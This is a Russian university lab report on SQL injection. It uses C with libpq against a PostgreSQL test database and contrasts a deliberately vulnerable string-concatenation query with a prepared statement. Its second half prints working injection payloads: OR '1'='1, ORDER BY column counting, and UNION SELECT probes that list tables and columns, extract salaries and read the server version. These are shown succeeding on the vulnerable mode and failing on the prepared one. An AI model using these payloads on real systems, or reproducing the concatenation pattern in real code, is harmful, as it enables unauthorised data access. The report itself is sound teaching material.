МИНИСТЕРСТВО НАУКИ И ВЫСШЕГО ОБРАЗОВАНИЯ РОССИЙСКОЙ ФЕДЕРАЦИИ
ФЕДЕРАЛЬНОЕ ГОСУДАРСТВЕННОЕ АВТОНОМНОЕ ОБРАЗОВАТЕЛЬНОЕ УЧРЕЖДЕНИЕ
ВЫСШЕГО ОБРАЗОВАНИЯ
«НАЦИОНАЛЬНЫЙ ИССЛЕДОВАТЕЛЬСКИЙ УНИВЕРСИТЕТ ИТМО»

Факультет безопасности информационных технологий

Направление подготовки: 10.03.01 Информационная безопасность

Образовательная программа: "Информационная безопасность / Information security"

Дисциплина:

«*Информационная безопасность баз данных*»

ОТЧЕТ ПО ЛАБОРАТОРНОЙ РАБОТЕ №6

«SQL-инъекции»

Выполнил студент:

N3246 / ИББД N23 1.3

Суханкулиев Мухаммет /_____

ФИО *Подпись*

Проверила:

Карманова Наталия Андреевна /_____

ФИО *Подпись*

_____

Отметка о выполнении (один из вариантов: отлично, хорошо, удовлетворительно, зачтено)

_____

Дата

Санкт-Петербург

2025 г.

ВВЕДЕНИЕ

Цель работы – исследовать SQL-инъекции и способы их предотвращения при доступе приложений к базе данных.

Для достижения поставленной цели необходимо решить следующие **задачи**:

1. Создать БД как минимум из 2–3 отношений и заполнить ее данными (достаточно 5–6 кортежей в каждой таблице). Можно использовать отношения из прошлых лабораторных. Отношения должны быть составлены таким образом, чтобы была возможность выполнить объединение таблиц (заданы связи через внешние ключи; имелись атрибуты в таблицах, по которым возможно выполнить объединение вида inner join, left join и др.).
2. Описать и продемонстрировать один из способов взаимодействия с БД с уровня приложения. Для изучения можно выбрать любой язык программирования и любой фреймворк/ORM систему/интерфейс для доступа к базе данных. Для демонстрации функций фреймворка/ORM системы/интерфейса для доступа к БД показать, как минимум, следующие действия с БД: выборка, вставка, удаление данных из БД с помощью выбранного фреймворка или языка программирования. Составить как минимум 2 сложных запроса, в которых выполняется выборка/модификация данных в одних таблицах на основании данных из других таблиц.
3. Для изучения проблемы фильтрации данных подготовить пример аналогичный, заданному в указаниях к данной лабораторной работе (Пример 1.). Пример может быть подготовлен на любом языке программирования. Предусмотреть в примере два случая подготовки SQL запросов (подготовленные запросы, конкатенация параметров со строкой запроса).
4. Для варианта конкатенации параметров, вводимых пользователем, со строкой запроса продемонстрировать возможные варианты проведения SQL-инъекций. Например, показать, как в случае объединения таблиц злоумышленник может узнать количество столбцов второй таблицы. Предложить подход для получения структуры базы данных (включая название столбцов таблицы). Показать устойчивость или уязвимость варианта с подготовленными параметрами к выбранным вами вариантам проведения SQL-инъекций.

1 SQL-ИНЪЕКЦИИ

Будем использовать существующую базу `ibbd`.

1.1 Подготовка БД

```
ALTER TABLE employees ADD COLUMN department_id INT REFERENCES
departments(id);

ALTER TABLE Query returned successfully in 59 msec.
```

```
INSERT INTO departments (name) VALUES
('IT'), ('HR'), ('Finance');

INSERT INTO employees (name, position, department_id, owner) VALUES
('Alice', 'Manager', 1, 'user1'),
('Bob', 'Engineer', 1, 'user2'),
('Carol', 'Analyst', 2, 'user1'),
('Dave', 'Recruiter', 2, 'user3'),
('Eve', 'Accountant', 3, 'user2');

INSERT INTO salaries (employee_id, amount) VALUES
(1, 100000),
(2, 80000),
(3, 70000),
(4, 65000),
(5, 90000);

INSERT 0 5 Query returned successfully in 60 msec.
```

Проверка JOIN:

```
SELECT e.name, e.position, d.name AS department, s.amount
FROM employees e
JOIN departments d ON e.department_id = d.id
JOIN salaries s ON e.id = s.employee_id;

name  | position | department | amount
-------+----------+------------+--------
 Alice | Manager  | IT         |  90000
(1 строка)
```

1.2 Взаимодействие с БД с уровня приложения

Напишем простое приложение для подключения к PostgreSQL. Реализуем SELECT, INSERT, DELETE. Напишем 2 сложных запроса с JOIN.

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <libpq-fe.h>

#define MAX_INPUT 256

void exit_nicely(PGconn* conn) {
    if (conn != NULL) PQfinish(conn);
    exit(1);
}

void check_result(PGresult* res, PGconn* conn, const char* stage) {
```

```
    if (PQresultStatus(res) != PGRES_COMMAND_OK && PQresultStatus(res) != PGRES_TUPLES_OK) {
        fprintf(stderr, "[%s] Ошибка запроса: %s", stage, PQerrorMessage(conn));
        PQclear(res);
        exit_nicely(conn);
    }
    else {
        printf("[DEBUG] %s выполнено успешно.", stage);
    }
}

void prompt_with_default(const char* prompt, const char* def, char* buffer) {
    printf("%s [%s]: ", prompt, def);
    fgets(buffer, MAX_INPUT, stdin);
    buffer[strcspn(buffer, "\n")] = 0;
    if (strlen(buffer) == 0) {
        strcpy_s(buffer, MAX_INPUT, def);
    }
}

void print_employees(PGconn* conn) {
    // Выборка всех сотрудников
    PGresult* res = PQexec(conn,
        "SELECT * FROM employees;");
    check_result(res, conn, "SELECT * FROM employees");

    int rows = PQntuples(res);
    printf("[DEBUG] Получено %d строк:\n", rows);
    for (int i = 0; i < rows; i++) {
        int num_columns = PQnfields(res);
        for (int j = 0; j < num_columns; j++) {
            printf("%s: %s | ", PQfname(res, j), PQgetvalue(res, i, j));
        }
        printf("\n");
    }
    PQclear(res);
}

int main() {
    char host[MAX_INPUT], db[MAX_INPUT], port[MAX_INPUT], user[MAX_INPUT], password[MAX_INPUT];

    // Сбор параметров подключения
    prompt_with_default("Server", "localhost", host);
    prompt_with_default("Database", "ibbd", db);
    prompt_with_default("Port", "7777", port);
    prompt_with_default("Username", "postgres", user);
    printf("Пароль пользователя %s: ", user);
    fgets(password, MAX INPUT, stdin);
    password[strcspn(password, "\n")] = 0;

    char conninfo[1024];
    snprintf(conninfo, sizeof(conninfo),
        "host=%s dbname=%s port=%s user=%s password=%s",
        host, db, port, user, password);

    printf("[DEBUG] Подключение к БД...\n");
    PGconn* conn = PQconnectdb(conninfo);

    if (PQstatus(conn) != CONNECTION OK) {
        fprintf(stderr, "[ERROR] Не удалось подключиться: %s", PQerrorMessage(conn));
        exit_nicely(conn);
    }
    printf("[DEBUG] Подключение успешно.\n");

    // Вставка
    PGresult* res = PQexec(conn,
        "INSERT INTO employees (name, position, department_id, owner) VALUES ('Frank', 'Tester',
1, 'user4');");
    check_result(res, conn, "INSERT");
    PQclear(res);

    printf("\n[DEBUG] Содержимое таблицы employees после вставки:\n");
    print_employees(conn);

    // Выборка
    res = PQexec(conn,
        "SELECT e.name, d.name AS dept, s.amount "
        "FROM employees e "
```

```
        "JOIN departments d ON e.department_id = d.id "
        "JOIN salaries s ON e.id = s.employee_id;");
    check_result(res, conn, "SELECT");

    int rows = PQntuples(res);
    printf("[DEBUG] Получено %d строк:\n", rows);
    for (int i = 0; i < rows; i++) {
        printf("Name: %s | Department: %s | Salary: %s\n",
            PQgetvalue(res, i, 0),
            PQgetvalue(res, i, 1),
            PQgetvalue(res, i, 2));
    }
    PQclear(res);

    // Обновление данных
    res = PQexec(conn,
        "UPDATE employees SET position = 'Senior Tester', owner = 'user5' WHERE name =
'Frank';");
    check_result(res, conn, "UPDATE");
    PQclear(res);

    printf("\n[DEBUG] Содержимое таблицы employees после обновления:\n");
    print_employees(conn);

    // Удаление
    res = PQexec(conn,
        "DELETE FROM employees "
        "WHERE department_id IN ("
        "    SELECT id FROM departments WHERE name = 'IT'"
        ") AND name = 'Frank';");
    check_result(res, conn, "DELETE");
    PQclear(res);

    printf("\n[DEBUG] Содержимое таблицы employees после удаления:\n");
    print_employees(conn);

    PQfinish(conn);
    printf("[DEBUG] Завершено успешно. Подключение закрыто.\n");
    return 0;
}
```

Выполнение программы:

```
Server [localhost]:
Database [ibbd]:
Port [7777]:
Username [postgres]:
Пароль пользователя postgres:
[DEBUG] Подключение к БД...
[DEBUG] Подключение успешно.
[DEBUG] INSERT выполнено успешно.
[DEBUG] Содержимое таблицы employees после вставки:
[DEBUG] SELECT * FROM employees выполнено успешно.[DEBUG] Получено 10 строк:
id: 1 | name: Alice | position: Manager | owner: user1 | department_id:  |
id: 2 | name: Bob | position: Engineer | owner: user2 | department_id:  |
id: 3 | name: Carol | position: Analyst | owner: user1 | department_id:  |
id: 4 | name: TestUser | position: Tester | owner: user1 | department_id:  |
id: 5 | name: Alice | position: Manager | owner: user1 | department_id: 1 |
id: 6 | name: Bob | position: Engineer | owner: user2 | department_id: 1 |
id: 7 | name: Carol | position: Analyst | owner: user1 | department_id: 2 |
id: 8 | name: Dave | position: Recruiter | owner: user3 | department_id: 2 |
id: 9 | name: Eve | position: Accountant | owner: user2 | department_id: 3 |
id: 19 | name: Frank | position: Tester | owner: user4 | department_id: 1 |
[DEBUG] SELECT выполнено успешно.[DEBUG] Получено 1 строк:
Name: Alice | Department: IT | Salary: 90000
[DEBUG] UPDATE выполнено успешно.
[DEBUG] Содержимое таблицы employees после обновления:
[DEBUG] SELECT * FROM employees выполнено успешно.[DEBUG] Получено 10 строк:
id: 1 | name: Alice | position: Manager | owner: user1 | department_id:  |
id: 2 | name: Bob | position: Engineer | owner: user2 | department_id:  |
id: 3 | name: Carol | position: Analyst | owner: user1 | department_id:  |
```

```
id: 4 | name: TestUser | position: Tester | owner: user1 | department_id:  |
id: 5 | name: Alice | position: Manager | owner: user1 | department_id: 1 |
id: 6 | name: Bob | position: Engineer | owner: user2 | department_id: 1 |
id: 7 | name: Carol | position: Analyst | owner: user1 | department_id: 2 |
id: 8 | name: Dave | position: Recruiter | owner: user3 | department_id: 2 |
id: 9 | name: Eve | position: Accountant | owner: user2 | department_id: 3 |
id: 19 | name: Frank | position: Senior Tester | owner: user5 |
department_id: 1 |
[DEBUG] DELETE выполнено успешно.
[DEBUG] Содержимое таблицы employees после удаления:
[DEBUG] SELECT * FROM employees выполнено успешно.[DEBUG] Получено 9 строк:
id: 1 | name: Alice | position: Manager | owner: user1 | department_id:  |
id: 2 | name: Bob | position: Engineer | owner: user2 | department_id:  |
id: 3 | name: Carol | position: Analyst | owner: user1 | department_id:  |
id: 4 | name: TestUser | position: Tester | owner: user1 | department_id:  |
id: 5 | name: Alice | position: Manager | owner: user1 | department_id: 1 |
id: 6 | name: Bob | position: Engineer | owner: user2 | department_id: 1 |
id: 7 | name: Carol | position: Analyst | owner: user1 | department_id: 2 |
id: 8 | name: Dave | position: Recruiter | owner: user3 | department_id: 2 |
id: 9 | name: Eve | position: Accountant | owner: user2 | department_id: 3 |
[DEBUG] Завершено успешно. Подключение закрыто.

C:\...\ibbd.exe (процесс 23292) завершил работу с кодом 0 (0x0).
```

1.3 Фильтрация данных

Программа:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <libpq-fe.h>

#define MAX_INPUT 256

void exit_nicely(PGconn* conn) {
    if (conn) PQfinish(conn);
    exit(1);
}

void check_result(PGresult* res, PGconn* conn, const char* context) {
    ExecStatusType status = PQresultStatus(res);
    if (status != PGRES_COMMAND_OK && status != PGRES_TUPLES_OK) {
        fprintf(stderr, "[%s] Ошибка: %s\n", context, PQerrorMessage(conn));
        PQclear(res);
        exit_nicely(conn);
    }
}

void prompt(const char* msg, char* buf) {
    printf("%s: ", msg);
    fgets(buf, MAX_INPUT, stdin);
    buf[strcspn(buf, "\n")] = '\0';
}

int main() {
    char host[MAX_INPUT] = "localhost", db[MAX_INPUT] = "ibbd", port[MAX_INPUT] = "7777",
user[MAX_INPUT] = "postgres", password[MAX_INPUT];
    char name[MAX_INPUT], owner[MAX_INPUT];
    int mode = 0;

    // Подключение к БД
    printf("Пароль пользователя postgres: ");
    fgets(password, MAX_INPUT, stdin);
    password[strcspn(password, "\n")] = '\0';

    char conninfo[1024];
    snprintf(conninfo, sizeof(conninfo),
        "host=%s dbname=%s port=%s user=%s password=%s",
```

```
        host, db, port, user, password);

    PGconn* conn = PQconnectdb(conninfo);
    if (PQstatus(conn) != CONNECTION_OK) {
        fprintf(stderr, "[ERROR] %s", PQerrorMessage(conn));
        exit_nicely(conn);
    }

    prompt("Input name", name);
    prompt("Input owner", owner);
    printf("Mode (0 = concat, 1 = prepared): ");
    scanf_s("%d", &mode);
    getchar(); // очистка буфера

    PGresult* res = NULL;

    if (mode == 0) {
        // УЯЗВИМЫЙ СПОСОБ
        char query[1024];
        snprintf(query, sizeof(query),
            "SELECT id, name, position FROM employees WHERE name = '%s' AND owner = '%s';",
            name, owner);

        printf("[DEBUG] Выполняется SQL:\n%s\n", query);
        res = PQexec(conn, query);
        check_result(res, conn, "concat");

    }
    else {
        // БЕЗОПАСНЫЙ СПОСОБ (prepared statement)
        res = PQprepare(conn, "safe_stmt",
            "SELECT id, name, position FROM employees WHERE name = $1 AND owner = $2", 2, NULL);
        check_result(res, conn, "prepare");

        const char* params[2] = { name, owner };

        // Вывод "виртуального" запроса для наглядности
        printf("[DEBUG] Выполняется SQL (если не инъекция):\n");
        printf("SELECT id, name, position FROM employees WHERE name = '%s' AND owner = '%s';\n",
name, owner);

        res = PQexecPrepared(conn, "safe_stmt", 2, params, NULL, NULL, 0);
        check_result(res, conn, "exec prepared");
    }

    // Вывод результата
    int rows = PQntuples(res);
    printf("Results (%d rows):\n", rows);
    for (int i = 0; i < rows; i++) {
        printf("ID: %s | Name: %s | Position: %s\n",
            PQgetvalue(res, i, 0),
            PQgetvalue(res, i, 1),
            PQgetvalue(res, i, 2));
    }

    PQclear(res);
    PQfinish(conn);
    return 0;
}
```

Напишем 2 версии одного и того же запроса: через строковую конкатенацию (подвержен инъекциям) и через подготовленный запрос (prepared statement).

```
Пароль пользователя postgres:
Input name: TestUser
Input owner: user1
Mode (0 = concat, 1 = prepared): 0
[DEBUG] Выполняется SQL:
SELECT id, name, position FROM employees WHERE name = 'TestUser' AND owner =
'user1';
Results (1 rows):
ID: 4 | Name: TestUser | Position: Tester

C:\...\ibbd.exe (процесс 21200) завершил работу с кодом 0 (0x0).
```

```
Пароль пользователя postgres:
Input name: TestUser
Input owner: user1
Mode (0 = concat, 1 = prepared): 1
[DEBUG] Выполняется SQL (если не инъекция):
SELECT id, name, position FROM employees WHERE name = 'TestUser' AND owner =
'user1';
Results (1 rows):
ID: 4 | Name: TestUser | Position: Tester

C:\...\ibbd.exe (процесс 12480) завершил работу с кодом 0 (0x0).
```

Пример атаки:

```
Пароль пользователя postgres:
Input name: TestUser' OR '1'='1
Input owner: user1
Mode (0 = concat, 1 = prepared): 0
[DEBUG] Выполняется SQL:
SELECT id, name, position FROM employees WHERE name = 'TestUser' OR '1'='1'
AND owner = 'user1';
Results (5 rows):
ID: 1 | Name: Alice | Position: Manager
ID: 3 | Name: Carol | Position: Analyst
ID: 4 | Name: TestUser | Position: Tester
ID: 5 | Name: Alice | Position: Manager
ID: 7 | Name: Carol | Position: Analyst

C:\...\ibbd.exe (процесс 19712) завершил работу с кодом 0 (0x0).
```

```
Пароль пользователя postgres:
Input name: TestUser' OR '1'='1
Input owner: user1
Mode (0 = concat, 1 = prepared): 1
[DEBUG] Выполняется SQL (если не инъекция):
SELECT id, name, position FROM employees WHERE name = 'TestUser' OR '1'='1'
AND owner = 'user1';
Results (0 rows):

C:\...\ibbd.exe (процесс 20372) завершил работу с кодом 0 (0x0).
```

1.4 Конкатенация параметров

Узнаем структуру таблицы с помощью ORDER BY, UNION SELECT.

```
Пароль пользователя postgres:
Input name: ' ORDER BY 4--
Input owner: asd
Mode (0 = concat, 1 = prepared): 0
[DEBUG] Выполняется SQL:
SELECT id, name, position FROM employees WHERE name = '' ORDER BY 4--' AND
owner = 'asd';
[concat] Ошибка: РћРЁРР‘РьРђ:  РІ СЃРїРёСЃРєРµ РІС‹Р±РѕСЂРєРё ORDER BY РЅРµС,
СЌР»РµРјРµРЅС‚Р° 4
LINE 1: ... position FROM employees WHERE name = '' ORDER BY 4--' AND o...
                                                             ^

C:\...\ibbd.exe (процесс 21132) завершил работу с кодом 1 (0x1).
```

```
Пароль пользователя postgres:
Input name: ' UNION SELECT null,null,null--
Input owner: asd
Mode (0 = concat, 1 = prepared): 0
[DEBUG] Выполняется SQL:
SELECT id, name, position FROM employees WHERE name = '' UNION SELECT
null,null,null--' AND owner = 'asd';
Results (1 rows):
ID:  | Name:  | Position:

C:\...\ibbd.exe (процесс 20096) завершил работу с кодом 0 (0x0).
```

Используя число и названия столбцов, можем узнать информацию о всех таблицах в БД:

```
Пароль пользователя postgres:
Input name: ' UNION SELECT NULL, table_name, NULL FROM
information_schema.tables WHERE table_schema='public'--
Input owner: asd
Mode (0 = concat, 1 = prepared): 0
[DEBUG] Выполняется SQL:
SELECT id, name, position FROM employees WHERE name = '' UNION SELECT NULL,
table_name, NULL FROM information_schema.tables WHERE table_schema='public'--
' AND owner = 'asd';
Results (7 rows):
ID:  | Name: departments | Position:
ID:  | Name: salaries | Position:
ID:  | Name: employees | Position:
ID:  | Name: audit_log | Position:
ID:  | Name: user_hashes | Position:
ID:  | Name: view_employee_salary | Position:
ID:  | Name: secure_data | Position:

C:\...\ibbd.exe (процесс 20816) завершил работу с кодом 0 (0x0).
```

```
Пароль пользователя postgres:
Input name: ' UNION SELECT NULL, tablename, NULL FROM pg_catalog.pg_tables
WHERE schemaname = 'public'--
Input owner: asd
Mode (0 = concat, 1 = prepared): 0
[DEBUG] Выполняется SQL:
SELECT id, name, position FROM employees WHERE name = '' UNION SELECT NULL,
tablename, NULL FROM pg_catalog.pg_tables WHERE schemaname = 'public'--' AND
owner = 'asd';
Results (6 rows):
ID:  | Name: departments | Position:
ID:  | Name: salaries | Position:
ID:  | Name: secure_data | Position:
ID:  | Name: employees | Position:
ID:  | Name: audit_log | Position:
ID:  | Name: user_hashes | Position:

C:\...\ibbd.exe (процесс 12104) завершил работу с кодом 0 (0x0).
```

Получим данные из другой таблицы.

```
Пароль пользователя postgres:
Input name: ' UNION SELECT NULL, column_name, NULL FROM
information_schema.columns WHERE table_name='salaries'--
Input owner: asd
Mode (0 = concat, 1 = prepared): 0
[DEBUG] Выполняется SQL:
```

```
SELECT id, name, position FROM employees WHERE name = '' UNION SELECT NULL,
column_name, NULL FROM information_schema.columns WHERE
table_name='salaries'--' AND owner = 'asd';
Results (3 rows):
ID:  | Name: amount | Position:
ID:  | Name: employee_id | Position:
ID:  | Name: id | Position:

C:\...\ibbd.exe (процесс 25364) завершил работу с кодом 0 (0x0).
```

```
Пароль пользователя postgres:
Input name: ' UNION SELECT NULL, e.name || ':' || s.amount, NULL FROM
employees e JOIN salaries s ON e.id = s.employee_id--
Input owner: asd
Mode (0 = concat, 1 = prepared): 0
[DEBUG] Выполняется SQL:
SELECT id, name, position FROM employees WHERE name = '' UNION SELECT NULL,
e.name || ':' || s.amount, NULL FROM employees e JOIN salaries s ON e.id =
s.employee_id--' AND owner = 'asd';
Results (5 rows):
ID:  | Name: Alice:100000 | Position:
ID:  | Name: Carol:70000 | Position:
ID:  | Name: Alice:90000 | Position:
ID:  | Name: Bob:80000 | Position:
ID:  | Name: TestUser:65000 | Position:

C:\...\ibbd.exe (процесс 23272) завершил работу с кодом 0 (0x0).
```

Получение версии СУБД.

```
Пароль пользователя postgres:
Input name: ' UNION SELECT NULL, version(), NULL--
Input owner: asd
Mode (0 = concat, 1 = prepared): 0
[DEBUG] Выполняется SQL:
SELECT id, name, position FROM employees WHERE name = '' UNION SELECT NULL,
version(), NULL--' AND owner = 'asd';
Results (1 rows):
ID:  | Name: PostgreSQL 17.4 on x86_64-windows, compiled by msvc-19.42.34436,
64-bit | Position:

C:\...\ibbd.exe (процесс 25076) завершил работу с кодом 0 (0x0).
```

Повторим те же атаки на безопасном (prepared) варианте.

```
Пароль пользователя postgres:
Input name: ' UNION SELECT null,null,null--
Input owner: asd
Mode (0 = concat, 1 = prepared): 1
[DEBUG] Выполняется SQL (если не инъекция):
SELECT id, name, position FROM employees WHERE name = '' UNION SELECT
null,null,null--' AND owner = 'asd';
Results (0 rows):

C:\...\ibbd.exe (процесс 18980) завершил работу с кодом 0 (0x0).
```

```
Пароль пользователя postgres:
Input name: ' UNION SELECT NULL, table_name, NULL FROM
information_schema.tables WHERE table_schema='public'--
Input owner: asd
Mode (0 = concat, 1 = prepared): 1
[DEBUG] Выполняется SQL (если не инъекция):
```

```
SELECT id, name, position FROM employees WHERE name = '' UNION SELECT NULL,
table_name, NULL FROM information_schema.tables WHERE table_schema='public'--
' AND owner = 'asd';
Results (0 rows):

C:\...\ibbd.exe (процесс 8932) завершил работу с кодом 0 (0x0).
```

```
Пароль пользователя postgres:
Input name: ' UNION SELECT NULL, column_name, NULL FROM
information_schema.columns WHERE table_name='salaries'--
Input owner: asd
Mode (0 = concat, 1 = prepared): 1
[DEBUG] Выполняется SQL (если не инъекция):
SELECT id, name, position FROM employees WHERE name = '' UNION SELECT NULL,
column_name, NULL FROM information_schema.columns WHERE
table_name='salaries'--' AND owner = 'asd';
Results (0 rows):

C:\...\ibbd.exe (процесс 22576) завершил работу с кодом 0 (0x0).
```

```
Пароль пользователя postgres:
Input name: ' UNION SELECT NULL, e.name || ':' || s.amount, NULL FROM
employees e JOIN salaries s ON e.id = s.employee_id--
Input owner: asd
Mode (0 = concat, 1 = prepared): 1
[DEBUG] Выполняется SQL (если не инъекция):
SELECT id, name, position FROM employees WHERE name = '' UNION SELECT NULL,
e.name || ':' || s.amount, NULL FROM employees e JOIN salaries s ON e.id =
s.employee_id--' AND owner = 'asd';
Results (0 rows):

C:\...\ibbd.exe (процесс 3336) завершил работу с кодом 0 (0x0).
```

```
Пароль пользователя postgres:
Input name: ' UNION SELECT NULL, version(), NULL--
Input owner: asd
Mode (0 = concat, 1 = prepared): 1
[DEBUG] Выполняется SQL (если не инъекция):
SELECT id, name, position FROM employees WHERE name = '' UNION SELECT NULL,
version(), NULL--' AND owner = 'asd';
Results (0 rows):

C:\...\ibbd.exe (процесс 24928) завершил работу с кодом 0 (0x0).
```

ЗАКЛЮЧЕНИЕ

В ходе лабораторной работы были изучены и реализованы методы защиты от SQL-инъекций, включая демонстрацию уязвимостей при использовании строковой конкатенации и защиту с помощью подготовленных запросов. Также был выполнен анализ уязвимостей на примере языка C с использованием библиотеки libpq для взаимодействия с PostgreSQL.

Работа позволила получить практические навыки работы с SQL-инъекциями и продемонстрировать важность правильного взаимодействия с базой данных для предотвращения угроз безопасности.